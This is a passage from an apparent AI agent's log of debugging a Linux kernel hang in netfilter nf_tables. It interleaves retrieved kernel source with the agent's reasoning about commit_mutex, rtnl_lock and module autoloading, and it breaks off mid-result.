11028: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11029:
11030: nft_trans_destroy(trans);
11031: break;
11032: case NFT_MSG_DELRULE:
11033: case NFT_MSG_DESTROYRULE:
11034: list_del_rcu(&nft_trans_rule(trans)->list);
11035: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11036: trans->msg_type);
11037: nft_rule_expr_deactivate(&ctx, nft_trans_rule(trans),
11038: NFT_TRANS_COMMIT);
11039:
11040: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11041: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11042: break;
11043: case NFT_MSG_NEWSET:
11044: list_del(&nft_trans_container_set(trans)->list_trans_newset);
11045: if (nft_trans_set_update(trans)) {
11046: struct nft_set *set = nft_trans_set(trans);
11047:
11048: WRITE_ONCE(set->timeout, nft_trans_set_timeout(trans));
11049: WRITE_ONCE(set->gc_int, nft_trans_set_gc_int(trans));
11050:
11051: if (nft_trans_set_size(trans))
11052: WRITE_ONCE(set->size, nft_trans_set_size(trans));
11053: } else {
11054: nft_clear(net, nft_trans_set(trans));
11055: /* This avoids hitting -EBUSY when deleting the table
11056: * from the transaction.
11057: */
11058: if (nft_set_is_anonymous(nft_trans_set(trans)) &&
11059: !list_empty(&nft_trans_set(trans)->bindings))
11060: nft_use_dec(&table->use);
11061: }
11062: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11063: NFT_MSG_NEWSET, GFP_KERNEL);
11064: nft_trans_destroy(trans);
11065: break;
11066: case NFT_MSG_DELSET:
11067: case NFT_MSG_DESTROYSET:
11068: nft_trans_set(trans)->dead = 1;
11069: list_del_rcu(&nft_trans_set(trans)->list);
11070: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11071: trans->msg_type, GFP_KERNEL);
11072: break;
11073: case NFT_MSG_NEWSETELEM:
11074: te = nft_trans_container_elem(trans);
11075:
11076: nft_trans_elems_add(&ctx, te);
11077:
11078: if (te->set->ops->commit &&
11079: list_empty(&te->set->pending_update)) {
11080: list_add_tail(&te->set->pending_update,
11081: &set_update_list);
11082: }
11083: nft_trans_destroy(trans);
11084: break;
11085: case NFT_MSG_DELSETELEM:
11086: case NFT_MSG_DESTROYSETELEM:
11087: te = nft_trans_container_elem(trans);
11088:
11089: nft_trans_elems_remove(&ctx, te);
11090:
11091: if (te->set->ops->commit &&
11092: list_empty(&te->set->pending_update)) {
11093: list_add_tail(&te->set->pending_update,
11094: &set_update_list);
11095: }
11096: break;
11097: case NFT_MSG_NEWOBJ:
11098: if (nft_trans_obj_update(trans)) {
11099: nft_obj_commit_update(&ctx, trans);
11100: nf_tables_obj_notify(&ctx,
11101: nft_trans_obj(trans),
11102: NFT_MSG_NEWOBJ);
11103: } else {
11104: nft_clear(net, nft_trans_obj(trans));
11105: nf_tables_obj_notify(&ctx,
11106: nft_trans_obj(trans),
11107: NFT_MSG_NEWOBJ);
11108: nft_trans_destroy(trans);
11109: }
11110: break;
11111: case NFT_MSG_DELOBJ:
11112: case NFT_MSG_DESTROYOBJ:
11113: nft_obj_del(nft_trans_obj(trans));
11114: nf_tables_obj_notify(&ctx, nft_trans_obj(trans),
11115: trans->msg_type);
11116: break;
11117: case NFT_MSG_NEWFLOWTABLE:
11118: if (nft_trans_flowtable_update(trans)) {
11119: nft_trans_flowtable(trans)->data.flags =
11120: nft_trans_flowtable_flags(trans);
11121: nf_tables_flowtable_notify(&ctx,
11122: nft_trans_flowtable(trans),
11123: &nft_trans_flowtable_hooks(trans),
11124: NFT_MSG_NEWFLOWTABLE);
11125: list_splice(&nft_trans_flowtable_hooks(trans),
11126: &nft_trans_flowtable(trans)->hook_list);
11127: } else {
11128: nft_clear(net, nft_trans_flowtable(trans));
11129: nf_tables_flowtable_notify(&ctx,
11130: nft_trans_flowtable(trans),
11131: NULL,
11132: NFT_MSG_NEWFLOWTABLE);
11133: }
11134: nft_trans_destroy(trans);
11135: break;
11136: case NFT_MSG_DELFLOWTABLE:
11137: case NFT_MSG_DESTROYFLOWTABLE:
11138: if (nft_trans_flowtable_update(trans)) {
11139: nf_tables_flowtable_notify(&ctx,
11140: nft_trans_flowtable(trans),
11141: &nft_trans_flowtable_hooks(trans),
11142: trans->msg_type);
11143: nft_unregister_flowtable_net_hooks(net,
11144: nft_trans_flowtable(trans),
11145: &nft_trans_flowtable_hooks(trans));
11146: } else {
11147: list_del_rcu(&nft_trans_flowtable(trans)->list);
11148: nf_tables_flowtable_notify(&ctx,
11149: nft_trans_flowtable(trans),
11150: NULL,
11151: trans->msg_type);
11152: nft_unregister_flowtable_net_hooks(net,
11153: nft_trans_flowtable(trans),
11154: &nft_trans_flowtable(trans)->hook_list);
11155: }
11156: break;
11157: }
11158: }
11159:
11160: nft_set_commit_update(&set_update_list);
11161:
11162: nft_commit_notify(net, NETLINK_CB(skb).portid);
11163: nf_tables_gen_notify(net, skb, NFT_MSG_NEWGEN);
11164: nf_tables_commit_audit_log(&adl, nft_net->base_seq);
11165:
11166: nft_gc_seq_end(nft_net, gc_seq);
11167: nft_net->validate_state = NFT_VALIDATE_SKIP;
11168: nf_tables_commit_release(net);
11169:
11170: return 0;
11171: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 233/2 |
2026/05/31 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 66805
output: 41
thoughts: 122
Thoughts: **Diving into Netfilter and the Commit Mutex**
Okay, hold on a second. I was under the impression that `nfnetlink_rcv_batch` required the `commit_mutex` lock to be held. But wait, it doesn't seem to take the `commit_mutex` directly. That's odd, because I was certain that `nf_tables_newrule`, which deals with adding new rules, relies on having `commit_mutex` locked. So, who exactly *is* responsible for grabbing that lock?
Ah, I see it now. The `nc->call` isn't calling `nf_tables_newrule` directly. That changes things. Let me retrace my steps. So, `nfnetlink_rcv_batch` calls `nc->call`, right? Now, for the `nf_tables` subsystem, what does `nc->call` resolve to? Ah, that's it - I believe `nc->call` is indeed `nf_tables_newrule` in that scenario.
Okay, let's just make sure I have all the pieces of the puzzle. Just to be absolutely sure, I'm going to double-check the `nf_tables_cb` structure to verify how this chain actually works. Let's make sure I didn't miss something.
|
| 234/2 |
2026/05/31 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_cb]
Results: map[SourceCode:9886: static const struct nfnl_callback nf_tables_cb[NFT_MSG_MAX] = {
9887: [NFT_MSG_NEWTABLE] = {
9888: .call = nf_tables_newtable,
9889: .type = NFNL_CB_BATCH,
9890: .attr_count = NFTA_TABLE_MAX,
9891: .policy = nft_table_policy,
9892: },
9893: [NFT_MSG_GETTABLE] = {
9894: .call = nf_tables_gettable,
9895: .type = NFNL_CB_RCU,
9896: .attr_count = NFTA_TABLE_MAX,
9897: .policy = nft_table_policy,
9898: },
9899: [NFT_MSG_DELTABLE] = {
9900: .call = nf_tables_deltable,
9901: .type = NFNL_CB_BATCH,
9902: .attr_count = NFTA_TABLE_MAX,
9903: .policy = nft_table_policy,
9904: },
9905: [NFT_MSG_DESTROYTABLE] = {
9906: .call = nf_tables_deltable,
9907: .type = NFNL_CB_BATCH,
9908: .attr_count = NFTA_TABLE_MAX,
9909: .policy = nft_table_policy,
9910: },
9911: [NFT_MSG_NEWCHAIN] = {
9912: .call = nf_tables_newchain,
9913: .type = NFNL_CB_BATCH,
9914: .attr_count = NFTA_CHAIN_MAX,
9915: .policy = nft_chain_policy,
9916: },
9917: [NFT_MSG_GETCHAIN] = {
9918: .call = nf_tables_getchain,
9919: .type = NFNL_CB_RCU,
9920: .attr_count = NFTA_CHAIN_MAX,
9921: .policy = nft_chain_policy,
9922: },
9923: [NFT_MSG_DELCHAIN] = {
9924: .call = nf_tables_delchain,
9925: .type = NFNL_CB_BATCH,
9926: .attr_count = NFTA_CHAIN_MAX,
9927: .policy = nft_chain_policy,
9928: },
9929: [NFT_MSG_DESTROYCHAIN] = {
9930: .call = nf_tables_delchain,
9931: .type = NFNL_CB_BATCH,
9932: .attr_count = NFTA_CHAIN_MAX,
9933: .policy = nft_chain_policy,
9934: },
9935: [NFT_MSG_NEWRULE] = {
9936: .call = nf_tables_newrule,
9937: .type = NFNL_CB_BATCH,
9938: .attr_count = NFTA_RULE_MAX,
9939: .policy = nft_rule_policy,
9940: },
9941: [NFT_MSG_GETRULE] = {
9942: .call = nf_tables_getrule,
9943: .type = NFNL_CB_RCU,
9944: .attr_count = NFTA_RULE_MAX,
9945: .policy = nft_rule_policy,
9946: },
9947: [NFT_MSG_GETRULE_RESET] = {
9948: .call = nf_tables_getrule_reset,
9949: .type = NFNL_CB_RCU,
9950: .attr_count = NFTA_RULE_MAX,
9951: .policy = nft_rule_policy,
9952: },
9953: [NFT_MSG_DELRULE] = {
9954: .call = nf_tables_delrule,
9955: .type = NFNL_CB_BATCH,
9956: .attr_count = NFTA_RULE_MAX,
9957: .policy = nft_rule_policy,
9958: },
9959: [NFT_MSG_DESTROYRULE] = {
9960: .call = nf_tables_delrule,
9961: .type = NFNL_CB_BATCH,
9962: .attr_count = NFTA_RULE_MAX,
9963: .policy = nft_rule_policy,
9964: },
9965: [NFT_MSG_NEWSET] = {
9966: .call = nf_tables_newset,
9967: .type = NFNL_CB_BATCH,
9968: .attr_count = NFTA_SET_MAX,
9969: .policy = nft_set_policy,
9970: },
9971: [NFT_MSG_GETSET] = {
9972: .call = nf_tables_getset,
9973: .type = NFNL_CB_RCU,
9974: .attr_count = NFTA_SET_MAX,
9975: .policy = nft_set_policy,
9976: },
9977: [NFT_MSG_DELSET] = {
9978: .call = nf_tables_delset,
9979: .type = NFNL_CB_BATCH,
9980: .attr_count = NFTA_SET_MAX,
9981: .policy = nft_set_policy,
9982: },
9983: [NFT_MSG_DESTROYSET] = {
9984: .call = nf_tables_delset,
9985: .type = NFNL_CB_BATCH,
9986: .attr_count = NFTA_SET_MAX,
9987: .policy = nft_set_policy,
9988: },
9989: [NFT_MSG_NEWSETELEM] = {
9990: .call = nf_tables_newsetelem,
9991: .type = NFNL_CB_BATCH,
9992: .attr_count = NFTA_SET_ELEM_LIST_MAX,
9993: .policy = nft_set_elem_list_policy,
9994: },
9995: [NFT_MSG_GETSETELEM] = {
9996: .call = nf_tables_getsetelem,
9997: .type = NFNL_CB_RCU,
9998: .attr_count = NFTA_SET_ELEM_LIST_MAX,
9999: .policy = nft_set_elem_list_policy,
10000: },
10001: [NFT_MSG_GETSETELEM_RESET] = {
10002: .call = nf_tables_getsetelem_reset,
10003: .type = NFNL_CB_RCU,
10004: .attr_count = NFTA_SET_ELEM_LIST_MAX,
10005: .policy = nft_set_elem_list_policy,
10006: },
10007: [NFT_MSG_DELSETELEM] = {
10008: .call = nf_tables_delsetelem,
10009: .type = NFNL_CB_BATCH,
10010: .attr_count = NFTA_SET_ELEM_LIST_MAX,
10011: .policy = nft_set_elem_list_policy,
10012: },
10013: [NFT_MSG_DESTROYSETELEM] = {
10014: .call = nf_tables_delsetelem,
10015: .type = NFNL_CB_BATCH,
10016: .attr_count = NFTA_SET_ELEM_LIST_MAX,
10017: .policy = nft_set_elem_list_policy,
10018: },
10019: [NFT_MSG_GETGEN] = {
10020: .call = nf_tables_getgen,
10021: .type = NFNL_CB_RCU,
10022: },
10023: [NFT_MSG_NEWOBJ] = {
10024: .call = nf_tables_newobj,
10025: .type = NFNL_CB_BATCH,
10026: .attr_count = NFTA_OBJ_MAX,
10027: .policy = nft_obj_policy,
10028: },
10029: [NFT_MSG_GETOBJ] = {
10030: .call = nf_tables_getobj,
10031: .type = NFNL_CB_RCU,
10032: .attr_count = NFTA_OBJ_MAX,
10033: .policy = nft_obj_policy,
10034: },
10035: [NFT_MSG_DELOBJ] = {
10036: .call = nf_tables_delobj,
10037: .type = NFNL_CB_BATCH,
10038: .attr_count = NFTA_OBJ_MAX,
10039: .policy = nft_obj_policy,
10040: },
10041: [NFT_MSG_DESTROYOBJ] = {
10042: .call = nf_tables_delobj,
10043: .type = NFNL_CB_BATCH,
10044: .attr_count = NFTA_OBJ_MAX,
10045: .policy = nft_obj_policy,
10046: },
10047: [NFT_MSG_GETOBJ_RESET] = {
10048: .call = nf_tables_getobj_reset,
10049: .type = NFNL_CB_RCU,
10050: .attr_count = NFTA_OBJ_MAX,
10051: .policy = nft_obj_policy,
10052: },
10053: [NFT_MSG_NEWFLOWTABLE] = {
10054: .call = nf_tables_newflowtable,
10055: .type = NFNL_CB_BATCH,
10056: .attr_count = NFTA_FLOWTABLE_MAX,
10057: .policy = nft_flowtable_policy,
10058: },
10059: [NFT_MSG_GETFLOWTABLE] = {
10060: .call = nf_tables_getflowtable,
10061: .type = NFNL_CB_RCU,
10062: .attr_count = NFTA_FLOWTABLE_MAX,
10063: .policy = nft_flowtable_policy,
10064: },
10065: [NFT_MSG_DELFLOWTABLE] = {
10066: .call = nf_tables_delflowtable,
10067: .type = NFNL_CB_BATCH,
10068: .attr_count = NFTA_FLOWTABLE_MAX,
10069: .policy = nft_flowtable_policy,
10070: },
10071: [NFT_MSG_DESTROYFLOWTABLE] = {
10072: .call = nf_tables_delflowtable,
10073: .type = NFNL_CB_BATCH,
10074: .attr_count = NFTA_FLOWTABLE_MAX,
10075: .policy = nft_flowtable_policy,
10076: },
10077: };
SourceFile:net/netfilter/nf_tables_api.c]
|
| 235/2 |
2026/05/31 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 70635
output: 39
thoughts: 192
Thoughts: **Delving into the Netfilter Locking Mechanism**
Okay, so I'm tracing this `nf_tables` registration, and it looks like `nf_tables_cb` is indeed registered through `nfnetlink_subsys_register`. Standard stuff so far. Now the question is, where does the `commit_mutex` come into play? I need to understand the locking.
Aha! `nfnetlink_rcv_batch` is called, and my initial thought was that it would call `nfnl_lock(subsys_id)`? But hang on, no, it calls `nfnl_lock` which *should* take the `nfnl_mutex`. So, what is going on with the `commit_mutex`? Does `nf_tables` use `commit_mutex` directly instead of the generic `nfnl_mutex`? That seems like an odd deviation from the typical Netlink pattern.
Let me rewind. I need to re-examine `nfnetlink_rcv_batch` more closely. Wait, does `nfnetlink_rcv_batch` itself take the `commit_mutex`? No, no, it's operating on a much lower level, so it doesn't even *know* about `commit_mutex`.
But wait a minute! The key is probably in the override! Does `nf_tables` somehow override the default `nfnl_lock`? That's likely where the `commit_mutex` is introduced. I need to confirm this. I'll check `nfnl_lock` in the `nf_tables` context.
|
| 236/2 |
2026/05/31 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nfnetlink.c Name:nfnl_lock]
Results: map[SourceCode: 96: void nfnl_lock(__u8 subsys_id)
97: {
98: mutex_lock(&table[subsys_id].mutex);
99: }
SourceFile:net/netfilter/nfnetlink.c]
|
| 237/2 |
2026/05/31 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 71299
output: 45
thoughts: 302
Thoughts: **Delving into the Netfilter Locking Mechanisms**
Okay, so I'm looking at this netfilter code, and my initial thought is, "Ah, right, `table[subsys_id].mutex`!". But then I remember, or rather, start *wondering*, doesn't `nf_tables` have some special handling that overrides or interacts with that standard mutex? No, actually, the initial mutex is just a straightforward mutex within the `nfnl_subsys` structure. Then I'm remembering that `nf_tables` is going to use `nft_net->commit_mutex`, and this triggers a further question in my mind.
Now I need to understand how the `nf_tables_newrule` function asserts that this `commit_mutex` is held. Okay, time to check `nfnetlink_rcv_batch` again. Wait, how is `commit_mutex` even acquired? The code suggests `nfnetlink_rcv_batch` is calling `nc->call`. But doesn't `nf_tables` implement some custom batch processing logic? Alright, let's trace this back again, and I'll examine the `nfnetlink_rcv_batch` function in `net/netfilter/nfnetlink.c`.
Aha! `nfnetlink_rcv_batch` *calls* `nc->call` without first taking the `nfnl_mutex`. Hold on a second, isn't `nfnl_unlock(subsys_id)` called *before* batch processing at line 428? So the mutex is released *before* the batch processing. This just raises more questions. But then, who is supposed to be taking `commit_mutex`? What am I missing?
Right, the `NFNL_MSG_BATCH_BEGIN` message! That *must* be handled by `nfnetlink_rcv_batch`... Wait, no, that isn't the case either. The `NFNL_MSG_BATCH_BEGIN` is actually handled by `nfnetlink_rcv_skb_batch`. Got it. Now I need to understand *how* it's handled by that function.
|
| 238/2 |
2026/05/31 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nfnetlink.c Name:nfnetlink_rcv_skb_batch]
Results: map[SourceCode: 612: static void nfnetlink_rcv_skb_batch(struct sk_buff *skb, struct nlmsghdr *nlh)
613: {
614: int min_len = nlmsg_total_size(sizeof(struct nfgenmsg));
615: struct nlattr *attr = (void *)nlh + min_len;
616: struct nlattr *cda[NFNL_BATCH_MAX + 1];
617: int attrlen = nlh->nlmsg_len - min_len;
618: struct nfgenmsg *nfgenmsg;
619: int msglen, err;
620: u32 gen_id = 0;
621: u16 res_id;
622:
623: msglen = NLMSG_ALIGN(nlh->nlmsg_len);
624: if (msglen > skb->len)
625: msglen = skb->len;
626:
627: if (skb->len < NLMSG_HDRLEN + sizeof(struct nfgenmsg))
628: return;
629:
630: err = nla_parse_deprecated(cda, NFNL_BATCH_MAX, attr, attrlen,
631: nfnl_batch_policy, NULL);
632: if (err < 0) {
633: netlink_ack(skb, nlh, err, NULL);
634: return;
635: }
636: if (cda[NFNL_BATCH_GENID])
637: gen_id = ntohl(nla_get_be32(cda[NFNL_BATCH_GENID]));
638:
639: nfgenmsg = nlmsg_data(nlh);
640: skb_pull(skb, msglen);
641: /* Work around old nft using host byte order */
642: if (nfgenmsg->res_id == (__force __be16)NFNL_SUBSYS_NFTABLES)
643: res_id = NFNL_SUBSYS_NFTABLES;
644: else
645: res_id = ntohs(nfgenmsg->res_id);
646:
647: nfnetlink_rcv_batch(skb, nlh, res_id, gen_id);
648: }
SourceFile:net/netfilter/nfnetlink.c]
|
| 239/2 |
2026/05/31 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 72817
output: 44
thoughts: 137
Thoughts: **Analyzing the Netfilter Netlink Flow**
Okay, so I'm digging into this `nfnetlink_rcv_batch` function. My initial thought was, "Aha! This calls `nc->call`," which I know is a key point. But then I'm thinking, where is this `commit_mutex` being grabbed? That's what I *really* need to understand to follow the potential locking scheme. I'm going back and meticulously re-examining `nfnetlink_rcv_batch`. Wait a second… there it is! At line 392, it calls `nfnl_lock(subsys_id)`, and then unlocks it at line 428. Good, at least there's *something* holding a lock here. But the question is: which lock? What if this `ss->valid_genid` is doing something with that `commit_mutex`? I have to trace this, so let me quickly jump over to `nf_tables_valid_genid` and see what it's doing. This is where the crucial information is going to lie.
|
| 240/2 |
2026/05/31 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_valid_genid]
Results: map[SourceCode:11481: static bool nf_tables_valid_genid(struct net *net, u32 genid)
11482: {
11483: struct nftables_pernet *nft_net = nft_pernet(net);
11484: bool genid_ok;
11485:
11486: mutex_lock(&nft_net->commit_mutex);
11487: nft_net->tstamp = get_jiffies_64();
11488:
11489: genid_ok = genid == 0 || nft_net->base_seq == genid;
11490: if (!genid_ok)
11491: mutex_unlock(&nft_net->commit_mutex);
11492:
11493: /* else, commit mutex has to be released by commit or abort function */
11494: return genid_ok;
11495: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 241/2 |
2026/05/31 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 73532
output: 41
thoughts: 124
Thoughts: **Analyzing the nf_tables Kernel Code**
Oh, right! It just hit me! The `nf_tables_valid_genid` function grabs the `commit_mutex`, but it **doesn't** release it if `genid_ok` is true. The comment says the mutex gets released in commit or abort. So, that `commit_mutex` is being held throughout the *entire* batch processing, huh?
Okay, so `nfnetlink_rcv_batch` then calls either `ss->abort` or `ss->commit` next. I need to make sure the cleanup is done correctly. That makes sense, both `nf_tables_abort` and `nf_tables_commit` are what actually *unlock* the `commit_mutex`. Right, so I need to check how `nf_tables_abort` is implemented.
|
| 242/2 |
2026/05/31 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_abort]
Results: map[SourceCode:11455: static int nf_tables_abort(struct net *net, struct sk_buff *skb,
11456: enum nfnl_abort_action action)
11457: {
11458: struct nftables_pernet *nft_net = nft_pernet(net);
11459: unsigned int gc_seq;
11460: int ret;
11461:
11462: gc_seq = nft_gc_seq_begin(nft_net);
11463: ret = __nf_tables_abort(net, action);
11464: nft_gc_seq_end(nft_net, gc_seq);
11465:
11466: WARN_ON_ONCE(!list_empty(&nft_net->commit_list));
11467:
11468: /* module autoload needs to happen after GC sequence update because it
11469: * temporarily releases and grabs mutex again.
11470: */
11471: if (action == NFNL_ABORT_AUTOLOAD)
11472: nf_tables_module_autoload(net);
11473: else
11474: nf_tables_module_autoload_cleanup(net);
11475:
11476: mutex_unlock(&nft_net->commit_mutex);
11477:
11478: return ret;
11479: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 243/2 |
2026/05/31 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 74313
output: 43
thoughts: 58
Thoughts: **Analyzing the Netfilter nf_tables Module**
Alright, perfect! My initial observation about `nf_tables_abort` is spot on; it correctly releases the `commit_mutex` at the end of its execution. But hold on a second... That memory of `nf_tables_module_autoload` is nagging at me. Didn't that function also interact with `commit_mutex`? I recall there was something… yes, it's coming back now, temporarily unlocking and then relocking the `commit_mutex`. Better double-check my understanding of `nf_tables_module_autoload`. Need to make sure I haven't missed a crucial detail in its locking and unlocking sequence. I want to be *absolutely* sure I have the full picture here.
|
| 244/2 |
2026/05/31 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_module_autoload]
Results: map[SourceCode:11173: static void nf_tables_module_autoload(struct net *net)
11174: {
11175: struct nftables_pernet *nft_net = nft_pernet(net);
11176: struct nft_module_request *req, *next;
11177: LIST_HEAD(module_list);
11178:
11179: list_splice_init(&nft_net->module_list, &module_list);
11180: mutex_unlock(&nft_net->commit_mutex);
11181: list_for_each_entry_safe(req, next, &module_list, list) {
11182: request_module("%s", req->module);
11183: req->done = true;
11184: }
11185: mutex_lock(&nft_net->commit_mutex);
11186: list_splice(&module_list, &nft_net->module_list);
11187: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 245/2 |
2026/05/31 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 74884
output: 45
thoughts: 1135
Thoughts: **Debugging a Kernel Hang: A Netfilter Module Autoload Conundrum**
Okay, here's what I'm thinking. The core issue seems to revolve around a deadlock, or at least a blocking scenario, related to module autoloading within the Netfilter context. It appears that the `crda_timeout_work` task is stuck in an uninterruptible sleep (state 'D') waiting for `rtnl_lock()`. I know this is a good starting point, and I've got a line of inquiry...
The code initially unlocks `commit_mutex` to call `request_module` which loads a module like `nft_synproxy`. It relocks `commit_mutex` later. During module load `nf_tables_abort` unlocks the `commit_mutex` again. The critical question: Does the module load path inadvertently hold `rtnl_lock` at the wrong time? I've confirmed that neither `nf_tables_valid_genid`, `nf_tables_commit`, `nf_tables_abort`, nor `nfnetlink_rcv_batch` directly hold `rtnl_lock`. So, the problem lies elsewhere.
My immediate hypothesis was that `request_module` itself might be calling `modprobe`, and that `modprobe` was the culprit for holding `rtnl_lock`. If `modprobe` were to try to acquire `commit_mutex` and vice versa, this could easily result in deadlock. However, I've re-examined the sequence. `commit_mutex` is unlocked *before* `request_module` and locked *after*, so `modprobe` does not hold `commit_mutex` and there shouldn't be a deadlock between `rtnl_lock` and `commit_mutex`.
I've also considered a scenario where an infinite loop in `nfnetlink_rcv_batch` could be causing CPU starvation. However, the 'D' state indicates that `crda_timeout_work` is indeed blocked on a mutex (`rtnl_lock`), not simply being starved. I verified this by looking at the task state. So, some other task in the system must be holding `rtnl_lock`. The reproducer triggers are `mmap`, `socket`, and `sendmsg`. These actions, by themselves, don't directly hold `rtnl_lock`, but the key might lie within those operations' side effects. The socket creation with `AF_NETLINK` in `SOCK_RAW` mode, specifically for `NETLINK_NETFILTER`, is suspicious. I'm wondering if this socket creation somehow triggers module loading via the `netlink_create` function, which calls `request_module("net-pf-%d-proto-%d", PF_NETLINK, protocol)`.
My analysis indicates that the `NETLINK_NETFILTER` protocol is either built-in or already loaded. So, the potential issue isn't within that function. The `sendmsg` call, on the other hand, calls `nfnetlink_rcv_batch`. Since there's only one thread in the reproducer, `nfnetlink_rcv_batch` must be involved.
The `modprobe` call in module loading is still relevant. Since I've checked that the init function of the `nft_synproxy` module, `nft_synproxy_module_init` does *not* take the `rtnl_lock`, I need to expand the scope to other modules that can be loaded. By inspecting the reproducer payload, I observe the requested modules. The payload contains strings like "syz0", "syz2", and most importantly, "synproxy". It appears `request_module` might trigger the request of modules like `nft-expr-synproxy`. The name doesn't exist, but it's an alias. The actual module is `nft_synproxy`, which in turn depends on `nf_synproxy_core`. The key might lie in the init function of `nf_synproxy_core`. I need to verify that it doesn't take `rtnl_lock` and what it might be doing that would prevent progress on `crda_timeout_work`. I have a feeling the problem is there.
|
| 246/2 |
2026/05/31 10:48 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:net/netfilter/nf_synproxy_core.c Name:nf_synproxy_core_init]
Results: map[SourceCode: SourceFile:]
|
| 247/2 |
2026/05/31 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 76980
output: 32
thoughts: 0
|
| 248/2 |
2026/05/31 10:48 |
tool |
codesearch-file-index |
0m
Args: map[SourceFile:net/netfilter/nf_synproxy_core.c]
Results: map[Entities:[map[Kind:function Name:ipv4_synproxy_hook] map[Kind:function Name:ipv6_synproxy_hook] map[Kind:function Name:nf_synproxy_ipv4_fini] map[Kind:function Name:nf_synproxy_ipv4_init] map[Kind:function Name:nf_synproxy_ipv6_fini] map[Kind:function Name:nf_synproxy_ipv6_init] map[Kind:function Name:synproxy_build_ip] map[Kind:function Name:synproxy_build_ip_ipv6] map[Kind:function Name:synproxy_build_options] map[Kind:function Name:synproxy_check_timestamp_cookie] map[Kind:function Name:synproxy_core_exit] map[Kind:function Name:synproxy_core_init] map[Kind:function Name:synproxy_cpu_seq_next] map[Kind:function Name:synproxy_cpu_seq_show] map[Kind:function Name:synproxy_cpu_seq_start] map[Kind:function Name:synproxy_cpu_seq_stop] map[Kind:function Name:synproxy_init_timestamp_cookie] map[Kind:function Name:synproxy_net_exit] map[Kind:function Name:synproxy_net_init] map[Kind:function Name:synproxy_options_size] map[Kind:function Name:synproxy_parse_options] map[Kind:function Name:synproxy_proc_exit] map[Kind:function Name:synproxy_proc_init] map[Kind:function Name:synproxy_recv_client_ack] map[Kind:function Name:synproxy_recv_client_ack_ipv6] map[Kind:function Name:synproxy_send_client_ack] map[Kind:function Name:synproxy_send_client_ack_ipv6] map[Kind:function Name:synproxy_send_client_synack] map[Kind:function Name:synproxy_send_client_synack_ipv6] map[Kind:function Name:synproxy_send_server_ack] map[Kind:function Name:synproxy_send_server_ack_ipv6] map[Kind:function Name:synproxy_send_server_syn] map[Kind:function Name:synproxy_send_server_syn_ipv6] map[Kind:function Name:synproxy_send_tcp] map[Kind:function Name:synproxy_send_tcp_ipv6] map[Kind:function Name:synproxy_tstamp_adjust] map[Kind:global_variable Name:__UNIQUE_ID___addressable_ipv4_synproxy_hook2144] map[Kind:global_variable Name:__UNIQUE_ID___addressable_ipv6_synproxy_hook2150] map[Kind:global_variable Name:__UNIQUE_ID___addressable_nf_synproxy_ipv4_fini2146] map[Kind:global_variable Name:__UNIQUE_ID___addressable_nf_synproxy_ipv4_init2145] map[Kind:global_variable Name:__UNIQUE_ID___addressable_nf_synproxy_ipv6_fini2152] map[Kind:global_variable Name:__UNIQUE_ID___addressable_nf_synproxy_ipv6_init2151] map[Kind:global_variable Name:__UNIQUE_ID___addressable_synproxy_core_init2140] map[Kind:global_variable Name:__UNIQUE_ID___addressable_synproxy_init_timestamp_cookie2138] map[Kind:global_variable Name:__UNIQUE_ID___addressable_synproxy_net_id2136] map[Kind:global_variable Name:__UNIQUE_ID___addressable_synproxy_parse_options2137] map[Kind:global_variable Name:__UNIQUE_ID___addressable_synproxy_recv_client_ack2143] map[Kind:global_variable Name:__UNIQUE_ID___addressable_synproxy_recv_client_ack_ipv62149] map[Kind:global_variable Name:__UNIQUE_ID___addressable_synproxy_send_client_synack2142] map[Kind:global_variable Name:__UNIQUE_ID___addressable_synproxy_send_client_synack_ipv62148] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2153] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2154] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2155] map[Kind:global_variable Name:__UNIQUE_ID_modinfo2156] map[Kind:global_variable Name:__exitcall_synproxy_core_exit] map[Kind:global_variable Name:__gendwarfksyms_ptr_ipv4_synproxy_hook] map[Kind:global_variable Name:__gendwarfksyms_ptr_ipv6_synproxy_hook] map[Kind:global_variable Name:__gendwarfksyms_ptr_nf_synproxy_ipv4_fini] map[Kind:global_variable Name:__gendwarfksyms_ptr_nf_synproxy_ipv4_init] map[Kind:global_variable Name:__gendwarfksyms_ptr_nf_synproxy_ipv6_fini] map[Kind:global_variable Name:__gendwarfksyms_ptr_nf_synproxy_ipv6_init] map[Kind:global_variable Name:__gendwarfksyms_ptr_synproxy_init_timestamp_cookie] map[Kind:global_variable Name:__gendwarfksyms_ptr_synproxy_net_id] map[Kind:global_variable Name:__gendwarfksyms_ptr_synproxy_parse_options] map[Kind:global_variable Name:__gendwarfksyms_ptr_synproxy_recv_client_ack] map[Kind:global_variable Name:__gendwarfksyms_ptr_synproxy_recv_client_ack_ipv6] map[Kind:global_variable Name:__gendwarfksyms_ptr_synproxy_send_client_synack] map[Kind:global_variable Name:__gendwarfksyms_ptr_synproxy_send_client_synack_ipv6] 